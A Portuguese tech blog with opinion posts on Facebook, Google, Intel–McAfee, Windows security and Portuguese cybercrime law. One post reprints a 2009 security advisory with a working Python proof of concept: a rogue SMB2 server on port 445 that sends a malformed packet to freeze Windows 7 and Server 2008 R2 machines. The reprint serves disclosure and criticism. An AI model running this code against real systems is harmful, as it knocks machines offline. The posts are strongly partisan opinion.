DEFACEDBOOK HOME

E a montanha pariu um rato!
Tanta gente a aventurar-se em futurologia inventando previsões já anteriormente falhadas e no final o que resta?
Treta. Para quem assistiu "alive" ao Home Android teve a nítida constatação de que tudo era uma monumental trapalhada e o que era por alguns aguardado como um dos eventos do ano quedou-se afinal num dos malogros do ano.

No meio de tudo pelo menos uma certeza ficou - a já de si infelizmente célebre invasão de privacidade permitida por FB ainda se vai tornar pior ou colocado de outra forma tornar-se-à num autêntico pesadelo.

Pessoalmente, apesar de não ser um utilizador FB, esperava sinceramente que algo inovador acontecesse. Infelizmente, é notório que apesar de toda a propaganda o que aconteceu de novo foi apenas o pior dos receios - potenciaram o risco de invasão de privacidade.

PROVAVELMENTE NINGUÉM ESPERARIA POR ESTA

Não é que os "malucos" de Google vem agora dizer ao mundo e arredores que andaram vários carros a percorrer 140.000 milhas (cerca de 225.000 km) "sem qualquer condutor"!?  (*)
E em cada sítio!
E sem ninguém dar por isso!? 

Pois é. Enquanto uns tem honras de notícias e blogs sempre que alguém dá um peido (por vezes nem sequer é necessário dar basta criar a hipótese de tal acontecer) outros vem pela calada anunciar verdadeiras inovações. 

Por onde terão andado os "jornalistas"!?

(*) - por uma questão de segurança não foi bem "sem qualquer condutor" como se pode ler na notícia original.

COMEÇAM A SURPREENDER-ME!

Claro que não basta acusar os outros de não fazerem qualquer coisa. Também é necessário agir.

Ora, seguindo este meu princípio, não poderia deixar de opinar na recente iniciativa do PSD - "Cortar na despesa"

Como é óbvio, a minha intervenção dedicou-se essencialmente na mudança dos sistemas proprietários por Livres e Abertos promovendo desta forma o investimento dentro do país e para o país ao invés de ir parar para outras bandas sem qualquer benefício para o engrandecimento deste Portugal que todos prezamos. 

Claro que será uma medida de coragem mas confio que neste país ainda existem políticos que tem uma dose do "sangue" dos nossos antepassados e é precisamente por esse motivo que eu sinto-me no dever de intervir e dar a minha fundamentada sugestão.

 

Mas, apesar desta "abertura" do partido que se assume como a única e real alternativa à desgraça que por lá se encontra, há uma coisita que me desagradou. Mas vá lá, não é por esse motivo que deixarei de agradecer a todos aqueles que tiveram esta ideia de solicitar ao povo que dê a sua ajuda no difícil processo que é o da governação de um barco que mete água por todos os buracões que  lhe foram sendo infligidos.

INTEL COMPRA McAFEE

Por uma ninharia de 7 mil milhões de U$ e uns troquitos, a Intel decidiu que era chegada a hora de comprar qualquer coisa e vai daí optou pela McAfee. Segundo eles, segurança é importante...

"In the past, energy-efficient performance and connectivity have defined computing requirements. Looking forward, security will join those as a third pillar of what people demand from all computing experiences."

Ok, sem dúvida que segurança é importante mas uma das dúvidas que me assalta é - porque só agora passou a ser importante?

Durante todos estes anos de quasi-monopólio, ou melhor de duopólio Intelo$oft, nunca se lembraram disso? 

Só é pena ser apenas o "roque" a pensar desta forma. A "amiga" vai cada vez vez pior!

Se me passasse pela cabeça armar-me em bruxo talvez arriscasse a adivinhar que no futuro os PC's vão passar a ter mais um imposto para além do da Intel+M$ - Intelfee. Ajusta-se perfeitamente, não? 

INFELIZMENTE...

Recebi há momentos um amável convite de Core Security Technologies para um

webcast dedicado ao tema:

Pen Testing Perfect Storm Trilogy Redux:

"We Love Microsoft!"

E eu:

- "Eh lá, estes gajos andam enganados ou embuídos do espírito do 1 de Abril...

Deixa lá ver bem o que é isto.

Ena! pá. Isto parece ser interessante..."

Bolas não vai dar. Deixa-me responder aos tipos:

- "Thank you for your kind invitation but I regret to inform you that some dumb and stupid portuguese politicians invented a silly law that prevents me from putting into practice what I would learn. As you certainly understand this is not worth my best efforts to be (web)present.

Best regards."

Embora num inglês macarrónico, espero que percebam o que eu lhes quis dizer.

Ah!, para todos aqueles que acham que isto é uma piada do 1º de Abril ou que acham que estou a delirar deixo-vos o texto integral do convite que me foi formulado:

"You're Invited:

Penetration Testing Webcast

Pen Testing Perfect Storm Trilogy Redux:

"We Love Microsoft!"

Speakers:

SANS instructors and InGuardians team members:

• Ed Skoudis

• Joshua Wright

• Kevin Johnson

Details

• Date: Tuesday, April 6, 2010

• Time: 2pm EDT/ 11am PDT (GMT -4:00, New York)

• Click here to register

*** A recording of the webcast will be sent to everyone who registers, so be sure to sign up even if you can’t make the live session. ***

Overview

The webcast series that refuses to die is back. During the fourth installment of the Pen Testing Perfect Storm Trilogy, security experts Ed Skoudis, Joshua Wright and Kevin Johnson will teach you how to fly in the face of convention and take new approaches leveraging Microsoft environments for penetration testing prowess.

> Click here to register

You'll learn tips and techniques for integrating network, web application and wireless penetration testing in Microsoft-centric networks with the latest in Windows 7, Windows 2008 Server SP2 and more. This can't-miss webcast will leave you:

• Celebrating the enhanced wireless attack capabilities of Windows 7

• Rejoicing in Sharepoint pivoting attacks

• Triumphing over the usefulness of information disclosure in default IIS installs

• Reveling over the features of Windows networking kung-fu

• Delighting in attack automation for large-scale enterprise assessments

As always, the Perfect Storm Team will use real-world scenarios to demonstrate the power of seamlessly pivoting between attack vectors during your security assessments.

> Bonus: Register now and you’ll also get on-demand access to the original slide decks for The Pen Testing Perfect Storm Trilogy Parts I-III.

> Click here to register

Best Regards,

Core Security Technologies"

PS: Se alguém estiver interessado pode seguir este link para se registar. Lamento, mas não posso dar o link directo por conter informações confidenciais. Contudo, suspeito que aceitarão todos e mais alguns...

PS1: Como é óbvio, apesar da resposta que lhes mandei fico à espera que me disponibilizem o webcast.

(MOST SECURE OS EVER) - REDMOND, WE'VE GOT A PROBLEM.

Big problem!

Como não vejo qualquer outra forma de colocar aqui o problema sem ir preso devido a um aborto de Lei que por aí anda, Lei 109/2009 de 15 de Setembro, nem tampouco dizer se já experimentei ou não já que qualquer tentativa dá direito a uma pena mais severa que à dada (ou deveria dizer não dada?) aos ladrões de cartola que agora aparecem diariamente aos montes a meter a mão a milhões, irei transcrever na íntegra um grande problema que se afecta todos aqueles que utilizam Windows 7 e Server 2008 RC2 e também todos aqueles que o utilizarão até ao dia em que a M$ se importe verdadeiramente com os seus utilizadores e deixe de pensar apenas na carteira dos seus investidores.
Sem mais delongas:

"This bug is a real proof that SDL #FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL would have ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotly smashed via IE or even via some broadcasting nbns tricks (no user interaction)
How funny.

Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
-------------------------
#FAIL,#FAIL,#FAIL
SDL FAIL, 'Most Secure Os Ever' --> Remote Kernel in 2 mn.
#FAIL,#FAIL,#FAIL

III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Windows 7/Server 2008R2
on a LAN or via IE

VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2

VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
-------------------------
More Remote Kernel FD @MS to come. "

Quanto ao facto de eventualmente (*) isto não se poder fazer em Portugal, esse tal país que é um assombro Tecnológico mas que castra toda e qualquer investigação nesta área com uma porcaria copiada de alguém que não deveria servir de exemplo, aproveito para deixar aqui um comentário que pode servir a quem de direito:
- "That's the cost of security by obscurity and propaganda.
Like it or not, it's like that."

NOTA: o "bold" e letra vermelha são da responsabilidade do dono desta tasca, com a intenção de chamar a atenção para partes que são deveras importantes e a reter.

(*) - Apenas eventualemente. Alguém com conhecimentos jurídicos poderá informar melhor acerca desta coisa a que resolveram chamar de Lei. Segundo aquilo que consigo ler no Artigo 4º é uma mera tentativa de estourar um programa dá "direita" a uma punição!
Ou seja, meninos não estudem informática porque o nosso querido desgoverno não vos deixa fazer nada excepto pagar o imposto M$!

PS1: Se não perceberam bem o que se está a passar leiam os posts anteriores de Laurent Gaffié. Andava para aqui calado à espera do que isto iria dar já que suspeitei desde o 1º momento do facto do Windows 7 e Server RC2 estarem livres do bug do SMB.2 já aqui narrado. Como é óbvio também fiquei à espera do remendo da M$ que lá acabou por aparecer na tradicional data que a M$ estipula para estas coisas e, não a título excepcional como seria forçoso que tal acontecesse mais cedo, como um "sábio" da M$ aqui tentou transmitir só que recusado devido à sua alma de carroceiro. Bem, como é hábito, foi pior a emenda que o soneto tal como a M$ já nos vai habituando a estas coisas - remendos de remendos de remendos de remendos. Ah!, e nesta última actualização de (cof... cof... cof...) "segurança" há mais um grave erro mas isso fica para amanhã e após ter a certeza de qual o procedimento correcto.

PS2: Não mudem para SO's de jeito não.

(disclaimer: este conselho não se destina aos meninos que apenas usam o computador para se armarem em piratas dos sete mares, brincar aos soldadinhos, génios do futebol e afins. Apenas se destina a pessoas responsáveis - BUSINESS IMPACT, see?)

QUE GRANDE NOVIDADE!

"NSW Police: Don't use Windows for internet banking"

Para não ir muito mais longe diria:

- Não usem Windows para nada que seja importante!

Andam por aí a correr muitas histórias acerca de passwords colocadas no domínio público. À cabeça da lista vem o produto da M$ mas outros serviços de mail também passaram pelo mesmo. Ok, neste caso dos serviços de mail a M$ não está sozinha mas como de costume os escribas esquecem-se de mencionar que estes casos ocorreram em Windows.

Isto já vem de há muito tempo e sempre que a merda acontece com produtos da M$ os habituais honestos e isentos "jornalistas" aprestam-se a dizer por exemplo "existem centenas de milhões de PC's (nunca Windows!) infectados" ou ainda "cerca de 59% dos PC's (nunca Windows!) existentes não passam de meros zombies". Pelo contrário, qualquer falha nas "milhentas" aplicações que acompanham qualquer distribuição GNU/Linux é imediatamente transmitida como "Falha crítica no Linux. Um bug no OOo (também poderia ser o Firefox) põe em risco todas as distribuições Linux".

A isto chama-se isenção...

Vá lá que pelo meio sempre vão aparecendo alguns que não tem medo de contar a verdade e de chamar os bois pelos nomes.

TEM UM DISCO SSD?

Então experimente Ubuntu 9.10. Segundo dizem por aí esta versão bem "esgalhada" arranca em 5 segundos. Sim, leram bem - 5 SEGUNDOS!
Podem ler o restante por estas bandas.

THIS IS THE WAY

Tenham uma boa semana de trabalho.

WHERE IN THE WORLD IS WINDOWS 7 FINAL!?

Depois de se ter descoberto o enorme buracão que a M$ introduziu nos seus mais recentes SO, Server 2008 e 7(*), eis que a máquina de propaganda da própria M$ veio a terreiro reconhecer o enorme erro cometido, sem contudo anunciar qualquer data para resolver a questão mas aqui nada de novo já que todos sabem a preocupação que a M$ tem para com os seus utilizadores...
Por aquilo que li inicialmente e depois de constatar esse mesmo erro esqueci-me imediatamente do assunto, como é normal nestes casos já que são tantos, mas eis que um  NTAASS (Não Tão Anónimo ASSim) me veio relembrar deste mesmo assunto. E ainda bem que me veio relembrar já que aquilo que à primeira vista parecia uma coisita insignificante cujo resultado mais visível seria o habitual BSOD (a M$ é tão fixe que não quer ninguém a morrer de saudades...) se veio traduzir afinal num grande problema:
- "Also on Tuesday, another researcher, Ruben Santamarta , said on the Bugtraq mailing list that the vulnerability was not only a denial-of-service flaw, but also allowed remote code execution, security-speak for a bug that could be used to jack a machine."
Bem, isto é grave. Bem grave!

Sinceramente, não conhecia até que ponto a gravidade da situação se tinha desenvolvido!
Assim, resta-me agradecer a atenção do tal NTAASS em me ter alertado para a gravidade que tal tresloucado acto da M$ traz para os seus fiéis utilizadores. Obrigado, pá!

Ora, como todos podem ver/ler neste post, a M$ anda apenas muito preocupada com o Server 2008 e o 7 já que a outra coisa até a própria M$ já não a defende. Mas, o mais interessante é também ver / ler que afinal o 7 e o Server 2008 estão imunes a esta asneirada da M$.
Sim senhor, gostei de ver a responsabilidade que a M$ demonstra para com os seus clientes. Ao invés de alertar para ao verdadeiro problema e tentar resolvê-lo imediatamente a única preocupação que tiveram foi virem a terreiro proclamar imunidade do 7 e Server 2008 R2 RTM/FINAL. ok, muito bem. Aplaudo de pé a iniciativa e ver que os vossos produtos afinal estão protegidos e que nem precisa de se preocupar.
Portanto, pessoal desculpem lá ter-vos alarmado mas aquele problema afinal não é um problema. Como podem verificar a M$ teve apenas o cuidado de vir anunciar a boa-nova de que o 7 e Server 2008 R2 RTM/FINAL não tem problemas, pelo que estejam à vontade, ok?

Ah!, estão-me a perguntar o que é isso do 7 e Server 2008 R2 RTM/FINAL!?
Não sabem o que é isso?
Olhem, eu também não. Porque não perguntam à M$ onde é que isso se vende!?
É que também gostaria de comprar só para comprovar que a M$ desta vez está a falar verdade.


Ou como diz o meu planetário companheiro Carlos Martins:
- "(...)  Qualquer dia anunciam que o Win8 e o Win9 também já têm este erro corrigido... ;P"

Esta foi a resposta a um completamente irresponsável comentário do tal NTAASS:
- "A versão final do Windows 7 não possui essa vulnerabilidade..."

"versão final do Windows 7".
Lindo não é?
Tenho a impressão que este gajo deve ser poeta. E poeta daqueles que a toda a hora espeta verso$ de inflamada paixão à sua incorpórea dama.

Como é óbvio, parece ser essa mesma a intenção da M$. Ao mesmo tempo que despreza completamente o aborto do Me2 tenta desesperadamente proteger o seu filho que ainda não nasceu mesmo que isso acarrete uma inqualificável dose de irresponsabilidade!

O que é facto é que existem por aí milhões de Me2, Server 2008 e 7 RC que são actuais e reais e que todos eles são afectados por este enorme burrice da M$!
São milhões, já que tanto gostam de falar em números. Muitos milhões.
Sendo assim, porque carga de água andam tão preocupados em defender uma coisa que ainda apenas existe para uma meia-dúzia de pessoas!?
Como é óbvio, será essa meia-dúzia de pessoas a desdizer a M$!?
Ok, até aceito que estas duas versões possam realmente estar imunes a esta gravíssima falha. Posso aceitar mas não acreditar enquanto estas mesmas versões não estejam ao alcance dos utilizadores. Serão estes quem ditarão a lei e não a M$ e seus apaniguados. Que o caso da treta do espécie de SO sirva de exemplo. Ou o inarrável episódio Mojave. (*)

Para terminar, faço aqui um apelo a quem me puder facultar um Windows 7 e (ainda melhor) Server 2008 R2 RTM/FINAL. Não me mandem para a baía-dos-homens-de-perna-de-pau senão já sabem:
- Pirataria não. Obrigado!

(*) - Por vezes pergunto-me - o que será feito destes actores?
Nota: se aparecer algo no meia da página agradecia o favor de me dizer do que se trata. É que no Firefox 3.5 ou Chromium 4.0.208 ambos 64 bit a correr em Fedora 11 também 64 bit não consigo ver do que se trata. Provavelmente só com o Exploder ou ainda com o macaco.prata.light...
Por falar em macacos, não perca o próximo post porque eu também não...

REGRESSO AO PASSADO...

Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

Apenas ausente nos Windows 2000/XP eis que a M$ resolve brindar os utilizadores das versões mais modernas com um buracão do passado.

Enfim...

É merecedor de uma música!

MINHA CULPA, MINHA TÃO GRANDE CULPA...

Ó BUGabundo, desculpa lá o mau jeito, ok?

De facto, há pouco quando enfiei o link para a notícia do novo HTC HERO esqueci-me de mencionar que existe uma Comunidade Portuguesa de Utilizadores Android. Esqueci-me completamente de que há para aí 2 ou 3 semanas atrás marquei este site com intenções de mandar uma posta sobre o mesmo.
Aqui fica o meu pedido de desculpas e da próxima vez que nos encontrarmos eu pago a francesinha, ok?

@braço.

PS: Afinal havia outro...
Mas este eu desconhecia pelo que não rezo qualquer Avé-Maria ou Pai-Nosso...

IBMAS'09

First Iberic Conference on Web-Applications Security (IBWAS’09)
Escuela Universitaria de Ingeniería Técnica de Telecomunicacíon -
Universidad Politécnica de Madrid
10th – 11th December 2009
Madrid, Spain
http://www.ibwas.com

Announce and Call for Papers

Introduction
------------
There is a change in the information systems development paradigm. The
emergence of Web 2.0 technologies led to the extensive deployment and
use of web-based applications and web services as a way to developed
new and flexible information systems. Such systems are easy to
develop, deploy and maintain and demonstrate impressive features for
users, resulting in their current wide use.

As a result of this paradigm shift, the security requirements have
also changed. These web-based information systems have different
security requirements, when compared to traditional systems. Important
security issues have been found and privacy concerns have also been
raised recently. In addition, the emerging Cloud Computing paradigm
promises even greater flexibility; however corresponding security and
privacy issues still need to be examined. The security environment
should involve not only the surrounding environment but also the
application core.

This conference aims to bring together application security experts,
researchers, educators and practitioners from the industry, academia
and international communities such as OWASP, in order to discuss open
problems and new solutions in application security. In the context of
this track academic researchers will be able to combine interesting
results with the experience of practitioners and software engineers.

Keynote Speakers
----------------
* Bruce Schneier, acclaimed security guru, author, BT CSTO (confirmed)
* (another keynote speaker will be confirmed in the near future)


Conference Topics
-----------------
Suggested topics for papers submission include (but are not limited to):
• Secure application development
• Security of service oriented architectures
• Security of development frameworks
• Threat modelling of web applications
• Cloud computing security
• Web applications vulnerabilities and analysis (code review, pen-
test, static analysis etc.)
• Metrics for application security
• Countermeasures for web application vulnerabilities
• Secure coding techniques
• Platform or language security features that help secure web
applications
• Secure database usage in web applications
• Access control in web applications
• Web services security
• Browser security
• Privacy in web applications
• Standards, certifications and security evaluation criteria for web
applications
• Application security awareness and education
• Security for the mobile web
• Attacks and Vulnerability Exploitation

Paper Submission Instructions
-----------------------------
Authors should submit an original paper in English, carefully checked
for correct grammar and spelling, using the on-line submission
procedure (http://paperman.ibwas.com). Please check the paper formats
so you may be aware of the accepted paper page limits (8 pages, in
accordance to a supplied template).

The guidelines for paper formatting provided at the conference web
site must be strictly used for all submitted papers. The submission
format is the same as the camera-ready format. Please check and
carefully follow the instructions and templates provided.

Each paper should clearly indicate the nature of its technical/
scientific contribution, and the problems, domains or environments to
which it is applicable.
Papers that are out of the conference scope or contain any form of
plagiarism will be rejected without reviews.

Remarks about the on-line submission procedure:
1. A "double-blind" paper evaluation method will be used. To
facilitate that, the authors are kindly requested to produce and
provide the paper, WITHOUT any reference to any of the authors. This
means that is necessary to remove the author’s personal details, the
acknowledgements section and any reference that may disclose the
authors identity
2. Papers in ODF, PDF, DOC, DOCX or RTF format are accepted
3. The web submission procedure automatically sends an
acknowledgement, by e-mail, to the contact author.

Paper submission types
----------------------
Regular Paper Submission
A regular paper presents a work where the research is completed or
almost finished. It does not necessary means that the acceptance is as
a full paper. It may be accepted as a "full paper" (30 min. oral
presentation), a "short paper" (15 min. oral presentation) or a
"poster".

Position Paper Submission
A position paper presents an arguable opinion about an issue. The goal
of a position paper is to convince the audience that your opinion is
valid and worth listening to, without the need to present completed
research work and/or validated results. It is, nevertheless, important
to support your argument with evidence to ensure the validity of your
claims. A position paper may be a short report and discussion of
ideas, facts, situations, methods, procedures or results of scientific
research (bibliographic, experimental, theoretical, or other) focused
on one of the conference topic areas. The acceptance of a position
paper is restricted to the categories of "short paper" or "poster",
i.e. a position paper is not a candidate to acceptance as "full paper".

Camera-ready
After the reviewing process is completed, the contact author (the
author who submits the paper) of each paper will be notified of the
result, by e-mail. The authors are required to follow the reviews in
order to improve their paper before the camera-ready submission.

Publications
All accepted papers will be published in the conference proceedings,
under an ISBN reference, in paper and in CD-ROM support.

Web-site
http://www.ibwas.com

Secretariat
E-mail: secretariat@ibwas.com

Important Dates
Submission of papers due: 30th September 2009
Notification of acceptance: 20th October 2009
Camera-ready version of accepted contributions: 15th November 2009
Conference: 10th – 11th December 2009

Conference Chairs
-----------------
Vicente Aguilera, OWASP Spain, Spain
Carlos Serrão, ISCTE-IUL Instituto Universitário de Lisboa, OWASP
Portugal, Portugal
Fabio Cerullo, OWASP Global Education Commitie, OWASP Ireland, Ireland

Conference Program Committee
----------------------------
André Zúquete, Universidade De Aveiro, Portugal
Candelaria Hernández-Goya, Universidad De La Laguna, Spain
Carlos Costa, Universidade De Aveiro, Portugal
Carlos Ribeiro, Instituto Superior Técnico, Portugal
Eduardo Neves, OWASP Education Committee, OWASP Brazil, Brazil
Francesc Rovirosa i Raduà, Universitat Oberta de Catalunya (UOC), Spain
Gonzalo Álvarez Marañón, Consejo Superior de Investigaciones
Científicas (CSIC), Spain
Isaac Agudo, University of Malaga, Spain
Jaime Delgado, Universitat Politecnica De Catalunya, Spain
Javier Hernando, Universitat Politecnica De Catalunya, Spain
Javier Rodríguez Saeta, Barcelona Digital, Spain
Joaquim Castro Ferreira, Universidade de Lisboa, Portugal
Joaquim Marques, Instituto Politécnico de Castelo Branco, Portugal
Jorge Dávila Muro, Universidad Politécnica de Madrid (UPM), Spain
Jorge E. López de Vergara, Universidad Autónoma de Madrid, Spain
José Carlos Metrôlho, Instituto Politécnico de Castelo Branco, Portugal
José Luis Oliveira, Universidade De Aveiro, Portugal
Kuai Hinojosa, OWASP Global Education Committee, New York University,
United States
Leonardo Chiariglione, Cedeo, Italy
Manuel Sequeira, ISCTE-IUL Instituto Universitário de Lisboa, Portugal
Marco Vieira, Universidade de Coimbra, Portugal
Mariemma I. Yagüe, University of Málaga, Spain
Miguel Correia, Universidade de Lisboa, Portugal
Miguel Dias, Microsoft, Portugal
Nuno Neves, Universidade de Lisboa, Portugal
Panos Kudumakis, Queen Mary University of London, United Kingdom
Paulo Sousa, Universidade de Lisboa, Portugal
Rodrigo Roman, University of Malaga, Spain
Rui Cruz, Instituto Superior Técnico, Portugal
Rui Marinheiro, ISCTE-IUL Instituto Universitário de Lisboa, Portugal
Sérgio Lopes, Universidade do Minho, Portugal
Víctor Villagrá, Universidad Politécnica de Madrid (UPM), Spain
Vitor Filipe, Universidade de Trás-os-Montes e Alto Douro, Portugal
Vitor Santos, Microsoft, Portugal
Vitor Torres, Universitat Pompeu Fabra, Spain
Wagner Elias, OWASP Brazil Chapter Leader, Brazil

(this list is not yet complete)

ATENÇÃO AO GOOGLE CHROME

1º - nunca se esqueçam que o Chrome ainda é beta. (*)

2º - ainda deverá ter muitos bugs.

O primeiro bug é o já conhecido "carpetbombing" do Safari. Embora já tenha sido corrigido a usada no Chrome ainda não está actualizada. Perigo!

MALWARE SCAM SUPER-PROFISSIONAL!

Há gajos que inventam tudo para enganar os pobres utilizadores!
Este artigo explica de uma forma excelente a "anatomia" de um desses vermes que por aí abundam.

Felizmente, quem usa boas ferramentas de detecção de malware pode ser avisado a tempo do que se está a passar.

Infelizmente:

"As a final experiment I decided to see if I could remove the malware,
or at least detect it, with legitimate anti-malware software. At first
I attempted with the recently updated Microsoft Malicious Software
Removal Tool (from June 24, 2008, the most recent available at the time
I wrote this). It failed to detect the software."

Penso que será escusado dizer em que produtos estas coisas acontecem...

BUUUMMM!!! F1 / CEGUETA AO FUNDO ??!!

Trabalho publicado.
Também há código para sacar.
Até slides!

Para todos os gostos!

Eles e eu não queremos que vos falte nada!

Veremos como a M$ reage. Quanto a mim tenho a certeza que "isto é só teoria", "nem pensar numa coisa destas", "já arranjamos um remendo", ou algo do género.

Ah!, também pode reconhecer o erro mas, neste caso, irá mais uma vez acusar o utilizador.

E daqui a um bocado talvez tenha para aqui umas visitas de uns "Caros" a acusar-me de mentiroso, que não estou a ajudar o Linux em nada, ou a bradar aos céus que qualquer SO pode ser vítima de um ataque deste género já que a culpa é da arquitectura x86.

Para os meus "amigos" trolls e astroturfers, aviso desde já que tenho algumas dificuldades em acreditar nisto já que me parece ter sido difícil teorizar mas muito mais difícil de colocar em prática. Também fico atónito se o Me2, apesar de ser uma grande porcaria, não tiver um nível mais elevado de protecções não só para se proteger a si próprio (*) como também o utilizador.
Pode ser exequível e aí é um salve-se quem puder mas resta aos M$-agarrados a esperança que não passe mesmo de uma teoria.

Apesar de estarem apenas os Windows (**) em questão tenho quase a certeza absoluta que já está muita gente da comunidade a ver o que se passa ao nível do SL/A.

(*) - Esta foi sempre uma grande preocupação da M$ enquanto mandava o utilizador à merda. Já escrevi por aqui que a M$ estava a cometer um grande erro e que também devia pensar em proteger muito mais utlizador mas realmente a única coisa que a M$ vê nos seus utilizadores é apenas os $$$$.

(**) - Parece-me que todos...

BOOOMMM, ERA UMA VEZ A SEGURANÇA DO Me2!!!???

Ainda agora começou o maior evento mundial acerca de segurança - Black Hat e nos briefings começam a aparecer os primeiros sinais de nuvens negras que ameaçam uma enorme tempestade para o exército da M$.

Até pode ser que não seja nada e que alguém ande a aplicar o veneno que a M$ costuma aplicar aos outros - FUD - mas tudo indica que esta tempestade possa vir a tornar-se num caso sério.

Por enquanto é preferível não levantar muita poeira e esperar a resposta da M$ mas de qualquer forma acho que é conveniente salientar algumas das frases e respectivos links para esta brutal notícia!

"Researchers who have read the paper that Dowd and Sotirov wrote on the techniques say their work is a major breakthrough and there is little that Microsoft can do to address the problems. The attacks themselves are not based on any new vulnerabilities in IE or Vista, but instead take advantage of Vista's fundamental architecture and the ways in which Microsoft chose to protect it."

""The genius of this is that it's completely reusable," said Dino Dai Zovi, a well-known security researcher and author. "They have attacks that let them load chosen content to a chosen location with chosen permissions. That's completely game over. (...)""

""This is not insanely technical. These two guys are capable of the really low-level technical attacks, but this is simple and reusable," Dai Zovi said. "I definitely think this will get reused soon, sort of like heap spraying was.""

Como A M$ tem lá um exército, outra coisa não seria de esperar(!), e pelos vistos andam todos alegres ou todos excitados, pode ser que dentro de pouco tempo se saiba realmente o que se passa. Por enquanto, é melhor esperar pela resposta do pessoal de Redmond.

Contudo, tenho cá para mim que a M$ já sabia o que se passava e desta forma não estranho o súbito amor que começou a ter por alguns parceiros que até agora tratava abaixo de cão.

Num outro site não fazem por menos e abrem a notícia desta forma:
"This week at the Black Hat Security Conference two security researchers will discuss their findings which could completely bring Windows Vista to its knees."

Vou esperar para ver se os piores receios acerca de uma coisa que muitos continuam a afirmar que é um SO se materializam ou não.

PS: Onde há fumo há fogo...

PORQUE O LINUX NÃO VENCE NO DESKTOP - 1

Vou tentar começar uma nova série de artigos acerca das possíveis causas do "porque é que o Linux não é bem aceite no desktop". Só que já muitos o fizeram e explicaram, cada um à sua maneira, mas eu quero dar um toque especial e começar um pouco pelo fim. A importância não é um valor fundamental e os artigos irão aparecendo sem qualquer ordem.
Por agora vou-me dedicar a uma pequena série cobrindo apenas a nojeira da M$. Ok, já sei que terei artigos até morrer mesmo que escreva várias vezes por dia mas fiquem descansados que irei apenas fazer um resumo.

"Bora" lá rumo à primeira nojeira:
Ainda recentemente, apareceu este artigo acerca de um estudo efectuado por uma empresa que tinha andado a "estudar" as fraquezas do open-source.
Este artigo foi de tal forma bem elaborado que deve ter causado alguma confusão a muita gente, entre os quais eu me incluo, mas depois de analisado não vale o papel em que foi impresso.

E porquê?
Esta empresa decidiu "estudar" as fraquezas de apenas 11 pacotes Java abertos e a prática de segurança associada. Reparem bem que são apenas 11 pacotes Java...
E a que conclusão chegam estes iluminados?
"Todo o software aberto expõe as empresas a um significativo risco"
Grandioso!
Tal feito nem o Professor Mambo conseguiria fazer. (*) Apenas 11 pacotes Java e eis que por disposição imperial desta empresa todo o software aberto é metido no mesmo saco!
Gostava de ser como eles. Devem ganhar dinheiro à brava à pala de uns tansos que provavelmente acreditam que o Elvis ainda está vivo...

Acho que não preciso de dizer mais nada acerca desta porcaria que no fundo não passa de uma espécie de estudo.

Ah!, já me esquecia de um pormenor e a esta hora já está um dos meus 2 ou 3 tantos? fiéis leitores a interrogar-se:
- Mas que porra é esta!?
- Este gajo está maluco. O que é que esta merda tem a ver com a M$!?
- Já te vou dizer como é:
